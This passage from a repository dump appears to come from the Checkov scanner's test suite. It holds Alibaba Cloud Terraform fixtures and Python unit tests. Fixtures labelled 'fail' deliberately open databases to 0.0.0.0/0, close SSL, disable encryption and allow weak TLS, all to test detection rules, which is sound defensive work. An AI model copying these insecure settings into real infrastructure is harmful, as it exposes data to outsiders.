\"pass\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters {\n        name = \"log_duration\"\n        value = \"ON\"\n    }\n}\n\nresource \"alicloud_db_instance\" \"pass2\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status       = \"Disabled\"\n  auto_upgrade_minor_version = \"Manual\"\n  # ssl_action=\"Closed\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters {\n        name = \"log_duration\"\n        value = \"on\"\n    }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_RDSInstanceSSL/main.tf",
    "content": "resource \"alicloud_db_instance\" \"pass\" {\n  engine              = \"MySQL\"\n  engine_version      = \"5.6\"\n  ssl_action          = \"Open\"\n  instance_storage    = \"30\"\n  instance_type       = \"mysql.n2.small.25\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}\n\nresource \"alicloud_db_instance\" \"pass2\" {\n  engine              = \"MySQL\"\n  engine_version      = \"5.6\"\n  ssl_action          = \"Update\"\n  instance_storage    = \"30\"\n  instance_type       = \"mysql.n2.small.25\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}\n\nresource \"alicloud_db_instance\" \"fail\" {\n  engine              = \"MySQL\"\n  engine_version      = \"5.6\"\n  ssl_action          = \"Close\"\n  instance_storage    = \"30\"\n  instance_type       = \"mysql.n2.small.25\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}\n\nresource \"alicloud_db_instance\" \"fail2\" {\n  engine              = \"MySQL\"\n  engine_version      = \"5.6\"\n  instance_type   = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  instance_storage    = \"30\"\n  instance_type       = \"mysql.n2.small.25\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}\n\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_RDSIsPublic/main.tf",
    "content": "resource \"alicloud_db_instance\" \"fail\" {\n  engine              = \"MySQL\"\n  engine_version      = \"5.6\"\n  db_instance_class   = \"rds.mysql.t1.small\"\n  db_instance_storage = \"10\"\n  security_ips = [\n    \"0.0.0.0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}\n\nresource \"alicloud_db_instance\" \"fail2\" {\n  engine              = \"MySQL\"\n  engine_version      = \"5.6\"\n  db_instance_class   = \"rds.mysql.t1.small\"\n  db_instance_storage = \"10\"\n  security_ips = [\n    \"0.0.0.0/0\",\n    \"10.23.12.24/24\"\n  ]\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}\n\nresource \"alicloud_db_instance\" \"pass\" {\n  engine              = \"MySQL\"\n  engine_version      = \"5.6\"\n  db_instance_class   = \"rds.mysql.t1.small\"\n  db_instance_storage = \"10\"\n  security_ips = [\n    \"10.23.12.24\"\n  ]\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}\n\n\nresource \"alicloud_db_instance\" \"pass2\" {\n  engine              = \"MySQL\"\n  engine_version      = \"5.6\"\n  db_instance_class   = \"rds.mysql.t1.small\"\n  db_instance_storage = \"10\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_RDSRetention/main.tf",
    "content": "resource \"alicloud_db_instance\" \"pass\" {\n  engine                     = \"MySQL\"\n  engine_version             = \"5.6\"\n  instance_type              = \"rds.mysql.t1.small\"\n  instance_storage           = \"10\"\n  sql_collector_status       = \"Enabled\"\n  sql_collector_config_value = 180\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n    }, {\n    name  = \"log_connections\"\n    value = \"ON\"\n  }]\n}\n\nresource \"alicloud_db_instance\" \"fail\" {\n  engine           = \"MySQL\"\n  engine_version   = \"5.6\"\n  instance_type    = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n    }, {\n    name  = \"log_connections\"\n    value = \"ON\"\n  }]\n}\n\nresource \"alicloud_db_instance\" \"fail2\" {\n  engine               = \"MySQL\"\n  engine_version       = \"5.6\"\n  instance_type        = \"rds.mysql.t1.small\"\n  instance_storage     = \"10\"\n  sql_collector_status = \"Disabled\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n    }, {\n    name  = \"log_connections\"\n    value = \"ON\"\n  }]\n}\n\nresource \"alicloud_db_instance\" \"fail3\" {\n  engine               = \"MySQL\"\n  engine_version       = \"5.6\"\n  instance_type        = \"rds.mysql.t1.small\"\n  instance_storage     = \"10\"\n  sql_collector_status = \"Enabled\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n    }, {\n    name  = \"log_connections\"\n    value = \"ON\"\n  }]\n}\n\nresource \"alicloud_db_instance\" \"fail4\" {\n  engine                     = \"MySQL\"\n  engine_version             = \"5.6\"\n  instance_type              = \"rds.mysql.t1.small\"\n  instance_storage           = \"10\"\n  sql_collector_status       = \"Enabled\"\n  sql_collector_config_value = 30\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n    }, {\n    name  = \"log_connections\"\n    value = \"ON\"\n  }]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_RDSTransparentDataEncryptionEnabled/main.tf",
    "content": "resource \"alicloud_db_instance\" \"pass\" {\n  engine              = \"MySQL\"\n  engine_version      = \"5.6\"\n  instance_type   = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status          = \"Enabled\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}\n\n\n\n\n\nresource \"alicloud_db_instance\" \"fail\" {\n  engine              = \"MySQL\"\n  engine_version      = \"5.6\"\n  instance_type   = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status          = \"Disabled\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}\n\nresource \"alicloud_db_instance\" \"fail2\" {\n  engine              = \"MySQL\"\n  engine_version      = \"8.0\"\n  instance_type   = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}\n\nresource \"alicloud_db_instance\" \"pass2\" {\n  engine              = \"SQLServer\"\n  engine_version      = \"2019_std_ha\"\n  instance_type   = \"mssql.x4.medium.e1\"\n  instance_storage = \"10\"\n  tde_status          = \"Enabled\"\n  parameters          = []\n}\n\nresource \"alicloud_db_instance\" \"unknown\" {\n  engine              = \"MySQL\"\n  engine_version      = \"5.5\"\n  instance_type   = \"rds.mysql.t1.small\"\n  instance_storage = \"10\"\n  tde_status          = \"Enabled\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}\n\nresource \"alicloud_db_instance\" \"unknown3\" {\n  engine              = \"PostgreSQL\"\n  engine_version      = \"9.4\"\n  instance_type   = \"rds.pg.s1.small\"\n  instance_storage = \"10\"\n  tde_status          = \"Enabled\"\n  parameters = [{\n    name  = \"innodb_large_prefix\"\n    value = \"ON\"\n    }, {\n    name  = \"connect_timeout\"\n    value = \"50\"\n  }]\n}"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/example_TLSPoliciesAreSecure/main.tf",
    "content": "resource \"alicloud_slb_tls_cipher_policy\" \"fail\" {\n  tls_cipher_policy_name = \"itsbaditsdverybad\"\n  tls_versions           = [\"TLSv1.1\",\"TLSv1.2\"]\n  ciphers                = [\"AES256-SHA\",\"AES256-SHA256\", \"AES128-GCM-SHA256\"]\n}\n\nresource \"alicloud_slb_tls_cipher_policy\" \"pass\" {\n  tls_cipher_policy_name = \"itsfine\"\n  tls_versions           = [\"TLSv1.2\"]\n  ciphers                = [\"AES256-SHA\",\"AES256-SHA256\", \"AES128-GCM-SHA256\"]\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_ALBACLIsUnrestricted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.ALBACLIsUnrestricted import check\n\n\nclass TestALBACLIsUnrestricted(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ALBACLIsUnrestricted\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_alb_acl_entry_attachment.phew',\n        }\n\n        failing_resources = {\n            'alicloud_alb_acl_entry_attachment.thehorror',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_APIGatewayProtocolHTTPS.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.APIGatewayProtocolHTTPS import check\n\n\nclass TestAPIGatewayProtocolHTTPS(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_APIGatewayProtocolHTTPS\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_api_gateway_api.pass',\n        }\n        failing_resources = {\n            'alicloud_api_gateway_api.fail',\n            'alicloud_api_gateway_api.fail2',\n            'alicloud_api_gateway_api.fail3',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_ActionTrailLogAllEvents.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.ActionTrailLogAllEvents import check\n\n\nclass TestActionTrailLogAllEvents(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ActionTrailLogAllEvents\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_actiontrail_trail.pass',\n        }\n        \n        failing_resources = {\n            'alicloud_actiontrail_trail.fail',\n            'alicloud_actiontrail_trail.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_ActionTrailLogAllRegions.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.ActionTrailLogAllRegions import check\n\n\nclass TestActionTrailLogAllRegions(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_ActionTrailLogAllRegions\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_actiontrail_trail.pass',\n            'alicloud_actiontrail_trail.pass2',\n        }\n\n        failing_resources = {\n            'alicloud_actiontrail_trail.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_DiskEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.DiskEncryptedWithCMK import check\n\n\nclass TestDiskEncryptedWithCMK(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_DiskEncryptedWithCMK\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_disk.pass',\n        }\n        failing_resources = {\n            'alicloud_disk.fail',\n            'alicloud_disk.fail2',\n            'alicloud_disk.fail3',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_DiskIsEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.DiskIsEncrypted import check\n\n\nclass TestDiskIsEncrypted(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_DiskIsEncrypted\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_disk.pass',\n        }\n        failing_resources = {\n            'alicloud_disk.fail',\n            'alicloud_disk.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_K8sEnableNetworkPolicies.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.K8sEnableNetworkPolicies import check\n\n\nclass TestK8sEnableNetworkPolicies(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_K8sEnableNetworkPolicies\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_cs_kubernetes.pass',\n            'alicloud_cs_kubernetes.pass2',\n        }\n        failing_resources = {\n            'alicloud_cs_kubernetes.fail',\n            'alicloud_cs_kubernetes.fail2',\n            'alicloud_cs_kubernetes.fail3',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_K8sNodePoolAutoRepair.py",
    "content": "\n\nimport os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.K8sNodePoolAutoRepair import check\n\n\nclass TestK8sNodePoolAutoRepair(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_K8sNodePoolAutoRepair\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_cs_kubernetes_node_pool.pass',\n        }\n        failing_resources = {\n            'alicloud_cs_kubernetes_node_pool.fail',\n            'alicloud_cs_kubernetes_node_pool.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_KMSKeyIsEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.KMSKeyIsEnabled import check\n\n\nclass TestKMSKeyIsEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_KMSKeyIsEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_kms_key.pass',\n            'alicloud_kms_key.pass2',\n        }\n        failing_resources = {\n            'alicloud_kms_key.fail',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_KMSKeyRotationIsEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.KMSKeyRotationIsEnabled import check\n\n\nclass TestKMSKeyRotationIsEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_KMSKeyRotationIsEnabled\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_kms_key.pass',\n        }\n        failing_resources = {\n            'alicloud_kms_key.fail',\n            'alicloud_kms_key.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_LaunchTemplateDiskAreEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.LaunchTemplateDisksAreEncrypted import check\n\n\nclass TestLaunchTemplateDisksAreEncrypted(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_LaunchTemplateDisksAreEncrypted\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_ecs_launch_template.pass',\n        }\n        failing_resources = {\n            'alicloud_ecs_launch_template.fail',\n            'alicloud_ecs_launch_template.fail2',\n            'alicloud_ecs_launch_template.fail3',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_LogAuditRDSEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.LogAuditRDSEnabled import check\n\n\nclass TestLogAuditRDSEnabled(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_LogAuditRDSEnabled\")\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_log_audit.pass',\n        }\n        failing_resources = {\n            'alicloud_log_audit.fail',\n            'alicloud_log_audit.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_MongoDBInsideVPC.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.MongoDBInsideVPC import check\n\n\nclass TestMongoDBInsideVPC(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_MongoDBInsideVPC\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_mongodb_instance.pass',\n        }\n        failing_resources = {\n            'alicloud_mongodb_instance.fail',\n            'alicloud_mongodb_instance.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_MongoDBInstanceSSL.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.MongoDBInstanceSSL import check\n\n\nclass TestMongoDBInstanceSSL(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_MongoDBInstanceSSL\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_mongodb_instance.pass',\n            'alicloud_mongodb_instance.pass2',\n        }\n        failing_resources = {\n            'alicloud_mongodb_instance.fail',\n            'alicloud_mongodb_instance.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/alicloud/test_MongoDBIsPublic.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.alicloud.MongoDBIsPublic import check\n\n\nclass TestMongoDBIsPublic(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_MongoDBIsPublic\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'alicloud_mongodb_instance.pass',\n            'alicloud_mongodb_instance.pass2',\n        }\n        failing_resources = {\n            'alicloud_mongodb_instance.fail',\n            'alicloud_mongodb_instance.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        